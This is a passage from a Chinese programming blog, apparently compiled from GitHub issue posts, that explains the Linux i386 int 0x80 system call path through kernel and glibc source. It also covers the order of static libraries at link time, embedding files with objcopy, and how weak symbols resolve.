#define __SYSCALL_I386(nr, sym, qual) extern asmlinkage long sym(unsigned long, unsigned long, unsigned long, unsigned long, unsigned long, unsigned long) ;
#include &amp;lt;asm&amp;#x2F;syscalls_32.h&amp;gt;
#undef __SYSCALL_I386

#define __SYSCALL_I386(nr, sym, qual) [nr] = sym,

extern asmlinkage long sys_ni_syscall(unsigned long, unsigned long, unsigned long, unsigned long, unsigned long, unsigned long);

__visible const sys_call_ptr_t ia32_sys_call_table[__NR_syscall_compat_max+1] = {
    &amp;#x2F;*
    * Smells like a compiler bug -- it doesn&amp;#x27;t work
    * when the &amp;amp; below is removed.
    *&amp;#x2F;
    [0 ... __NR_syscall_compat_max] = &amp;amp;sys_ni_syscall,
#include &amp;lt;asm&amp;#x2F;syscalls_32.h&amp;gt;
};
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以看到&lt;code&gt;__SYSCALL_I386(nr, sym, qual)&lt;&#x2F;code&gt;是个宏，且被定义了2次，用来分别解释&lt;code&gt;unistd_32.h&lt;&#x2F;code&gt;文件中的内容&lt;&#x2F;p&gt;
&lt;p&gt;一开始宏&lt;code&gt;__SYSCALL_I386(nr, sym, qual)&lt;&#x2F;code&gt;展开后是个函数声明，以unistd_32.h文件中的&lt;code&gt;__SYSCALL_I386(1, sys_exit, )&lt;&#x2F;code&gt;为例，将被展开为
&lt;code&gt;extern asmlinkage long sys_exit(unsigned long, unsigned long, unsigned long, unsigned long, unsigned long, unsigned long) ;&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;接下来宏&lt;code&gt;__SYSCALL_I386(nr, sym, qual)&lt;&#x2F;code&gt;被展开为&lt;code&gt;[nr] = sym,&lt;&#x2F;code&gt;，以unistd_32.h文件中的&lt;code&gt;__SYSCALL_I386(1, sys_exit, )&lt;&#x2F;code&gt;为例，将被展开为
&lt;code&gt;[1] = sys_exit,&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;然后定义了一个名为ia32_sys_call_table的数组，下标为系统调用号，元素为相应系统调用函数指针&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;这里ia32_sys_call_table其实是一个宏，指向一个定义在&#x2F;arch&#x2F;x86&#x2F;include&#x2F;asm&#x2F;syscall.h中的数组，类型sys_call_ptr_t是一个函数指针，也定义在&#x2F;arch&#x2F;x86&#x2F;include&#x2F;asm&#x2F;syscall.h&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;接下来查看ia32_sys_call_table在哪被调用，经查找，在&#x2F;arch&#x2F;x86&#x2F;entry&#x2F;common.c中被do_syscall_32_irqs_on调用&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;static __always_inline void do_syscall_32_irqs_on(struct pt_regs *regs)
{
    struct thread_info *ti = current_thread_info();
    unsigned int nr = (unsigned int)regs-&amp;gt;orig_ax;

#ifdef CONFIG_IA32_EMULATION
    current-&amp;gt;thread.status |= TS_COMPAT;
#endif

    if (READ_ONCE(ti-&amp;gt;flags) &amp;amp; _TIF_WORK_SYSCALL_ENTRY) {
        &amp;#x2F;*
        * Subtlety here: if ptrace pokes something larger than
        * 2^32-1 into orig_ax, this truncates it.  This may or
        * may not be necessary, but it matches the old asm
        * behavior.
        *&amp;#x2F;
        nr = syscall_trace_enter(regs);
    }

    if (likely(nr &amp;lt; IA32_NR_syscalls)) {
        &amp;#x2F;*
        * It&amp;#x27;s possible that a 32-bit syscall implementation
        * takes a 64-bit parameter but nonetheless assumes that
        * the high bits are zero.  Make sure we zero-extend all
        * of the args.
        *&amp;#x2F;
    regs-&amp;gt;ax = ia32_sys_call_table[nr](
            (unsigned int)regs-&amp;gt;bx, (unsigned int)regs-&amp;gt;cx,
            (unsigned int)regs-&amp;gt;dx, (unsigned int)regs-&amp;gt;si,
            (unsigned int)regs-&amp;gt;di, (unsigned int)regs-&amp;gt;bp);
    }

    syscall_return_slowpath(regs);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;而do_syscall_32_irqs_on被同文件的定义的do_int80_syscall_32函数调用&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;* Handles int $0x80 *&amp;#x2F;
__visible void do_int80_syscall_32(struct pt_regs *regs)
{
    enter_from_user_mode();
    local_irq_enable();
    do_syscall_32_irqs_on(regs);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;do_int80_syscall_32再被&#x2F;arch&#x2F;x86&#x2F;entry&#x2F;entry_32.S文件调用&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;ENTRY(entry_INT80_32)
    ASM_CLAC
    pushl    %eax            &amp;#x2F;* pt_regs-&amp;gt;orig_ax *&amp;#x2F;
    SAVE_ALL pt_regs_ax=$-ENOSYS    &amp;#x2F;* save rest *&amp;#x2F;

    &amp;#x2F;*
    * User mode is traced as though IRQs are on, and the interrupt gate
    * turned them off.
    *&amp;#x2F;
    TRACE_IRQS_OFF

    movl    %esp, %eax
    call    do_int80_syscall_32
.Lsyscall_32_done:
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;而ENTRY(entry_INT80_32)就是触发0x80 号中断后的入口&lt;&#x2F;p&gt;
&lt;p&gt;到这里linux内核的系统调用流程就差不多了&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;那么平时我们使用的glibc库是如何调用系统调用的呢？&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;从&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;lattera&#x2F;glibc&quot;&gt;github&lt;&#x2F;a&gt;上拉取glibc源码进行分析&lt;&#x2F;p&gt;
&lt;p&gt;首先，我们需要看系统调用在glibc的具体实现，具体实现源码是由
&#x2F;sysdeps&#x2F;unix&#x2F;make-syscalls.sh脚本生成的，make-syscalls.sh脚本会读取syscalls.list文件为每个系统调用生成如下的一些宏&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;SYSCALL_NAME        syscall name
SYSCALL_NARGS        number of arguments this call takes
SYSCALL_SYMBOL        primary symbol name
SYSCALL_CANCELLABLE    1 if the call is a cancelation point
SYSCALL_NOERRNO        1 to define a no-errno version (see below)
SYSCALL_ERRVAL        1 to define an error-value version (see below)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然后将syscall-template.S文件内容#include进来生成相应系统调用代码文件。&lt;&#x2F;p&gt;
&lt;p&gt;看syscall-template.S文件中执行系统调用代码片段&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;* This is a &amp;quot;normal&amp;quot; system call stub: if there is an error,
  it returns -1 and sets errno.  *&amp;#x2F;

T_PSEUDO (SYSCALL_SYMBOL, SYSCALL_NAME, SYSCALL_NARGS)
    ret
T_PSEUDO_END (SYSCALL_SYMBOL)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;宏T_PSEUDO 被定义展开为另一个宏PSEUDO&lt;&#x2F;p&gt;
&lt;p&gt;宏PSEUDO定义在&#x2F;sysdeps&#x2F;i386&#x2F;sysdep.h&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#define    PSEUDO(name, syscall_name, args)                      \
  .globl syscall_error;                                  \
lose: SYSCALL_PIC_SETUP                                  \
  jmp JUMPTARGET(syscall_error);                          \
  ENTRY (name)                                      \
  DO_CALL (syscall_name, args);                              \
  jb lose
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;宏ENTRY定义在&#x2F;sysdeps&#x2F;i386&#x2F;sysdep.h&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;* Define an entry point visible from C.

  There is currently a bug in gdb which prevents us from specifying
  incomplete stabs information.  Fake some entries here which specify
  the current source file.  *&amp;#x2F;
#define    ENTRY(name)                                  \
  STABS_CURRENT_FILE1(&amp;quot;&amp;quot;)                              \
  STABS_CURRENT_FILE(name)                              \
  ASM_GLOBAL_DIRECTIVE C_SYMBOL_NAME(name);                      \
  ASM_TYPE_DIRECTIVE (C_SYMBOL_NAME(name),@function)                  \
  .align ALIGNARG(4);                                  \
  STABS_FUN(name)                                  \
  C_LABEL(name)                                      \
  cfi_startproc;                                  \
  CALL_MCOUNT
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;宏DO_CALL定义在&#x2F;sysdeps&#x2F;unix&#x2F;sysv&#x2F;linux&#x2F;i386&#x2F;sysdep.h&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;## define ENTER_KERNEL int $0x80

#define DO_CALL(syscall_name, args)                                \
    PUSHARGS_##args                                  \
    DOARGS_##args                                  \
    movl $SYS_ify (syscall_name), %eax;                          \
    ENTER_KERNEL                                  \
    POPARGS_##args
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以看到DO_CALL触发0x80 号中断&lt;&#x2F;p&gt;
&lt;p&gt;宏SYS_ify定义在&#x2F;sysdeps&#x2F;unix&#x2F;sysv&#x2F;linux&#x2F;i386&#x2F;sysdep.h&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;* For Linux we can use the system call table in the header file
    &amp;#x2F;usr&amp;#x2F;include&amp;#x2F;asm&amp;#x2F;unistd.h
  of the kernel.  But these symbols do not follow the SYS_* syntax
  so we have to redefine the `SYS_ify&amp;#x27; macro here.  *&amp;#x2F;
#undef SYS_ify
#define SYS_ify(syscall_name)    __NR_##syscall_name
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以看到__NR_##syscall_name其实就是分析linux源码时候unistd_32.h文件所定义的系统调用号&lt;&#x2F;p&gt;
&lt;p&gt;根据代码理解如下：
ENTRY(name)宏使得系统调用名称在C层是可见的，然后该系统调用具体实现就是DO_CALL (syscall_name, args);&lt;&#x2F;p&gt;
&lt;p&gt;参考：
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;docs.huihoo.com&#x2F;joyfire.net&#x2F;6-1.html&quot;&gt;http:&#x2F;&#x2F;docs.huihoo.com&#x2F;joyfire.net&#x2F;6-1.html&lt;&#x2F;a&gt;
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;blog.csdn.net&#x2F;gatieme&#x2F;article&#x2F;details&#x2F;50779184&quot;&gt;http:&#x2F;&#x2F;blog.csdn.net&#x2F;gatieme&#x2F;article&#x2F;details&#x2F;50779184&lt;&#x2F;a&gt;
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;28984642&quot;&gt;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;28984642&lt;&#x2F;a&gt;
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;bbs.pku.edu.cn&#x2F;v2&#x2F;post-read.php?bid=13&amp;amp;threadid=16042150&amp;amp;page=a&amp;amp;postid=16206732&quot;&gt;https:&#x2F;&#x2F;bbs.pku.edu.cn&#x2F;v2&#x2F;post-read.php?bid=13&amp;amp;threadid=16042150&amp;amp;page=a&amp;amp;postid=16206732&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;issue-7-jing-tai-lian-jie-ku-de-shun-xu-wen-ti&quot;&gt;Issue 7 静态链接库的顺序问题&lt;&#x2F;h2&gt;
&lt;p&gt;原文链接：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;chenpengcong&#x2F;blog&#x2F;issues&#x2F;7&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;chenpengcong&#x2F;blog&#x2F;issues&#x2F;7&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;首先看如下示例代码&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;&amp;#x2F;main.c
void foo();
int main()
{
    foo();
}

&amp;#x2F;&amp;#x2F;foo.c
void bar();
void foo()
{
    bar();
}

&amp;#x2F;&amp;#x2F;bar.c
void bar()
{

}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以看到有三个文件&lt;code&gt;main.c&lt;&#x2F;code&gt;, &lt;code&gt;foo.c&lt;&#x2F;code&gt;, &lt;code&gt;bar.c&lt;&#x2F;code&gt;，main.c中的调用的foo函数定义在foo.c，而foo函数调用的bar函数定义在bar.c&lt;&#x2F;p&gt;
&lt;p&gt;接下来将foo.c和bar.c编译成静态库&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ gcc -c foo.c -o foo.o
$ ar cr libfoo.a foo.o
$ gcc -c bar.c -o bar.o
$ ar cr libbar.a bar.o
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;编译main.c，链接相应静态库生成可执行文件&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ gcc main.c -L. -lfoo -lbar
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;成功&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$gcc main.c -L. -lbar -lfoo
.&amp;#x2F;libfoo.a(foo.o): In function `foo&amp;#x27;:
foo.c:(.text+0xa): undefined reference to `bar&amp;#x27;
collect2: error: ld returned 1 exit status
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;失败，提示foo.o找不到符号bar的定义&lt;&#x2F;p&gt;
&lt;p&gt;为什么改变静态库的顺序会导致链接失败？我们需要了解链接器时怎么工作的&lt;&#x2F;p&gt;
&lt;p&gt;以链接成功的顺序为例，首先，链接器从左到右开始检索，记录下main.o中未解析的符号foo，然后从libfoo.a中的foo.o文件找到符号foo的解析，同时foo.o引入了未解析符号bar，继续往右检索，从libbar.a中的bar.o找到符号bar。&lt;&#x2F;p&gt;
&lt;p&gt;而如果将静态库顺序调整为libbar.a，libfoo.a，当链接器在向右检索符号foo的解析时，由于libbar.a不包含符号foo解析，因此被忽略跳过，而最后在libfoo.a中的foo.o中找到foo符号的解析时又引入了未解析符号bar，此时链接器不会重新往前进行检索，因此提示符号未定义错误。&lt;&#x2F;p&gt;
&lt;p&gt;了解了静态链接库的顺序问题，我们来介绍下静态链接库的另一个问题：&lt;strong&gt;循环依赖&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;看如下代码&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;&amp;#x2F;main.c
void foo();
int main()
{
    foo();
    return 0;
}

&amp;#x2F;&amp;#x2F;foo.c
void bar();
void foo()
{
    bar();
}

&amp;#x2F;&amp;#x2F;bar.c
void zar();
void bar()
{
    zar();
}

&amp;#x2F;&amp;#x2F;zar.c
void zar()
{
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;将foo.o和zar.o一起打包成一个静态链接库，bar.o单独一个静态链接库&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;ar cr libfoo_zar.a foo.o zar.o
ar cr libbar.a bar.o
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;此时这两个库的依赖关系如下&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;%E5%AE%9E%E7%8E%B0%E4%B8%80%E4%B8%AA%E7%AE%80%E5%8D%95%E7%9A%84-crt-issue24-%E7%B3%BB%E5%88%97%E5%90%88%E9%9B%86&#x2F;assets&#x2F;net-img-34914207-d26e4e40-f948-11e7-93a6-cde11a9de4ea-20240424000525-bxs6xod-85f201.png&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;成功链接指令如下&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;gcc main.c -L. -lfoo_zar -lbar -lfoo_zar
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;失败链接指令如下&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ gcc main.c -L. -lbar -lfoo_zar -lbar
.&amp;#x2F;libbar.a(bar.o): In function `bar&amp;#x27;:
bar.c:(.text+0xa): undefined reference to `zar&amp;#x27;
collect2: error: ld returned 1 exit status
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以看到成功链接的指令使用了2次&lt;code&gt;lfoo_zar&lt;&#x2F;code&gt;，原因是foo.o依赖于bar.o，而bar.o又依赖于zar.o，这里容易误解的是当链接器检索到libfoo_zar.a时会解析符号zar，事实上并不会，链接器只会链接libfoo_zar.a中的foo.o文件用以解析符号foo，因此当链接libbar.a时引入了未解析符号zar，需要在-lbar后再次添加-lfoo_zar&lt;&#x2F;p&gt;
&lt;p&gt;关于链接的更细致描述推荐阅读&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;novus.pixnet.net&#x2F;blog&#x2F;post&#x2F;32736521-%E9%97%9C%E6%96%BC-ld-%E7%9A%84%E9%80%A3%E7%B5%90%E9%A0%86%E5%BA%8F&quot;&gt;这篇文章&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;为了避免由于静态链接库顺序造成的错误，可以使用--start-group … --end-group参数，该参数告诉linker在中间的...重复找寻smbol，直到没有新的未定义的symbol创建&lt;&#x2F;p&gt;
&lt;p&gt;执行命令如下：
&lt;code&gt;$ gcc main.c -L. -Wl, --start-group -lfoo_zar -lbar -Wl, --end-group&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;参考：
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stackoverflow.com&#x2F;questions&#x2F;45135&#x2F;why-does-the-order-in-which-libraries-are-linked-sometimes-cause-errors-in-gcc&#x2F;409470#409470&quot;&gt;https:&#x2F;&#x2F;stackoverflow.com&#x2F;questions&#x2F;45135&#x2F;why-does-the-order-in-which-libraries-are-linked-sometimes-cause-errors-in-gcc&#x2F;409470#409470&lt;&#x2F;a&gt;
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;novus.pixnet.net&#x2F;blog&#x2F;post&#x2F;32736521-%E9%97%9C%E6%96%BC-ld-%E7%9A%84%E9%80%A3%E7%B5%90%E9%A0%86%E5%BA%8F&quot;&gt;http:&#x2F;&#x2F;novus.pixnet.net&#x2F;blog&#x2F;post&#x2F;32736521-%E9%97%9C%E6%96%BC-ld-%E7%9A%84%E9%80%A3%E7%B5%90%E9%A0%86%E5%BA%8F&lt;&#x2F;a&gt;
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;wen00072.github.io&#x2F;blog&#x2F;2013&#x2F;12&#x2F;24&#x2F;c-archive-reference-link&#x2F;&quot;&gt;http:&#x2F;&#x2F;wen00072.github.io&#x2F;blog&#x2F;2013&#x2F;12&#x2F;24&#x2F;c-archive-reference-link&#x2F;&lt;&#x2F;a&gt;
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;eli.thegreenplace.net&#x2F;2013&#x2F;07&#x2F;09&#x2F;library-order-in-static-linking&quot;&gt;https:&#x2F;&#x2F;eli.thegreenplace.net&#x2F;2013&#x2F;07&#x2F;09&#x2F;library-order-in-static-linking&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;issue-9-shi-yong-objcopyjiang-er-jin-zhi-wen-jian-de-de-nei-rong-zuo-wei-mu-biao-wen-jian-zhong-de-yi-ge-duan&quot;&gt;Issue 9 使用objcopy将二进制文件的的内容作为目标文件中的一个段&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;objcopy&lt;&#x2F;code&gt;命令可以将目标文件的内容复制到另一个目标文件，使用GNU BFD库来读取和写入对象文件。它可以用与源目标文件不同的格式写目标文件。&lt;&#x2F;p&gt;
&lt;p&gt;文本文件&lt;code&gt;data&lt;&#x2F;code&gt;内容如下:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;cike
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;使用&lt;code&gt;objcopy&lt;&#x2F;code&gt;处理该文本文件生成目标文件
&lt;code&gt;$ objcopy -I binary -O elf64-x86-64 -B i386:x86-64 data data.o&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;选项&lt;code&gt;-I&lt;&#x2F;code&gt;指定源文件的格式，&lt;code&gt;-O&lt;&#x2F;code&gt;指定输出的目标文件的格式，&lt;code&gt;-B&lt;&#x2F;code&gt;指定输出目标文件的架构&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;目标文件格式和架构&lt;&#x2F;strong&gt;的选择可以使用&lt;code&gt;objdump&lt;&#x2F;code&gt;命令对本机中的随意一个ELF文件进行查看获取&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;$ objdump -x a.out&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;a.out:    file format elf64-x86-64
a.out
architecture: i386:x86-64, flags 0x00000150:
HAS_SYMS, DYNAMIC, D_PAGED
start address 0x0000000000000540
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以看到在本机编译出来的ELF文件文件格式为&lt;code&gt;elf64-x86-64&lt;&#x2F;code&gt;，架构为&lt;code&gt;i386:x86-64&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;查看生成的&lt;code&gt;data.o&lt;&#x2F;code&gt;的段内容和符号表
&lt;code&gt;$ objdump -st data.o&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;输出如下&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;ata.o:    file format elf64-x86-64

SYMBOL TABLE:
0000000000000000 l    d  .data    0000000000000000 .data
0000000000000000 g      .data    0000000000000000 _binary_data_start
0000000000000005 g      .data    0000000000000000 _binary_data_end
0000000000000005 g      *ABS*    0000000000000000 _binary_data_size

Contents of section .data:
0000 63696b65 0a                          cike.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以看到&lt;code&gt;.data&lt;&#x2F;code&gt;段的内容即文本文件&lt;code&gt;data&lt;&#x2F;code&gt;里的内容&lt;&#x2F;p&gt;
&lt;p&gt;而符号&lt;code&gt;_binary_data_start&lt;&#x2F;code&gt;, &lt;code&gt;_binary_data_end&lt;&#x2F;code&gt;和&lt;code&gt;_binary_data_size&lt;&#x2F;code&gt;分别表示data文件内容在内存中的起始地址，结束地址和大小，我们可以直接在程序里面直接声明并使用它们&lt;&#x2F;p&gt;
&lt;p&gt;写了个测试程序来使用这3个符号，加深理解&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;quot;stdio.h&amp;quot;
extern char _binary_data_size;
extern char _binary_data_start;
extern char _binary_data_end;
int main()
{
    char *start;
    char *end;
    int index = 0;
    int size = 0;
    start = &amp;amp;_binary_data_start;
    end = &amp;amp;_binary_data_end;
    size = end - start + 1 - 2;&amp;#x2F;&amp;#x2F;substrct 0x0a and 0x00
    while (start &amp;lt;= end) {
        printf(&amp;quot;index %d :%d\n&amp;quot;, index, *start);
        start++;
        index++;
    }
    printf(&amp;quot;size: %d\n&amp;quot;, size);
    return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;编译: &lt;code&gt;$ gcc test_objcopy.c data.o&lt;&#x2F;code&gt;
运行结果如下&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;index 0 :99
index 1 :105
index 2 :107
index 3 :101
index 4 :10
index 5 :0
size: 4
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;其中对于变量&lt;code&gt;_binary_data_size&lt;&#x2F;code&gt;的使用有点疑惑，不知道它究竟是个什么类型，但其实根据其余两个变量也可以计算出size&lt;&#x2F;p&gt;
&lt;p&gt;参考：
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;book.douban.com&#x2F;subject&#x2F;3652388&#x2F;&quot;&gt;《程序员的自我修养》&lt;&#x2F;a&gt;
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;wen00072.github.io&#x2F;blog&#x2F;2014&#x2F;04&#x2F;16&#x2F;load-linux-using-c-language-data-object-archives-data-continued&#x2F;&quot;&gt;http:&#x2F;&#x2F;wen00072.github.io&#x2F;blog&#x2F;2014&#x2F;04&#x2F;16&#x2F;load-linux-using-c-language-data-object-archives-data-continued&#x2F;&lt;&#x2F;a&gt;
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;blog.csdn.net&#x2F;astrotycoon&#x2F;article&#x2F;details&#x2F;9901679&quot;&gt;http:&#x2F;&#x2F;blog.csdn.net&#x2F;astrotycoon&#x2F;article&#x2F;details&#x2F;9901679&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;issue10-ruo-fu-hao-de-shi-yong&quot;&gt;Issue10 弱符号的使用&lt;&#x2F;h2&gt;
&lt;p&gt;对于弱符号的定义参见&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zh.wikipedia.org&#x2F;zh-hans&#x2F;%E5%BC%B1%E7%AC%A6%E5%8F%B7&quot;&gt;维基&lt;&#x2F;a&gt;，这里不详细介绍，主要介绍&lt;code&gt;weak&lt;&#x2F;code&gt;和&lt;code&gt;weakref&lt;&#x2F;code&gt;的使用方法和使用场景&lt;&#x2F;p&gt;
&lt;p&gt;weak和weakref的使用场景可能有下面两种：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;我们需要编写一个库，库中定义的弱符号可以被用户定义的强符号所覆盖，从而使得程序可以使用自定义版本的库函数&lt;&#x2F;li&gt;
&lt;li&gt;程序在未正常链接某个库时也可以正常运行，不报错。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;第一个场景可以使用&lt;code&gt;weak&lt;&#x2F;code&gt;实现，只需要使用&lt;code&gt;__attribute__((weak))&lt;&#x2F;code&gt;将库中的符号设置为弱符号即可。&lt;&#x2F;p&gt;
&lt;p&gt;第二个场景可以使用&lt;code&gt;weak&lt;&#x2F;code&gt;，也可以使用&lt;code&gt;weakref&lt;&#x2F;code&gt;实现，做法就是在主程序中将引用的符号定义为弱符号，如下代码&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;static __attribute__((weakref(&amp;quot;foo&amp;quot;))) void bar();
int main()
{
	if (bar) {
		bar();
		&amp;#x2F;&amp;#x2F;...
	}
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;__attribute__((weak)) void foo();
int main()
{
	if (foo) {
		foo();
	}
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;接下来重点介绍弱符号使用过程的一些问题，看如下代码示例&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&amp;#x2F;&amp;#x2F;main.c
void foo();
int main()
{
    foo();
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&amp;#x2F;&amp;#x2F;test1.c
#include &amp;quot;stdio.h&amp;quot;
void foo()
{
    printf(&amp;quot;strong foo defined in test1.c&amp;quot;);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&amp;#x2F;&amp;#x2F;test2.c
#include &amp;quot;stdio.h&amp;quot;
__attribute__((weak))void foo()
{
    printf(&amp;quot;weak foo defined in test2.c&amp;quot;);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;编译，运行&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ gcc -c main.c -o main.o
$ gcc -c test1.c -o test1.o
$ gcc -c test2.c -o test2.o
$ gcc main.o test1.o test2.o -o main1
$ gcc main.o test2.o test1.o -o main2
$ .&amp;#x2F;main1
strong foo defined in test1.c
$ .&amp;#x2F;main2
strong foo defined in test1.c

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;编译，运行&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ gcc  -c main.c -o main.o
$ gcc  -c test1.c -o test1.o
$ gcc  -c test2.c -o test2.o
$ gcc  test1.o -fPIC -shared -o libtest1.so
$ gcc  test2.o -fPIC -shared -o libtest2.so
$ gcc  main.o -o main1 -L. -ltest1 -ltest2
$ gcc  main.o -o main2 -L. -ltest2 -ltest1
$ .&amp;#x2F;main1
strong foo defined in test1.c
$ .&amp;#x2F;main2
weak foo defined in test2.c

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
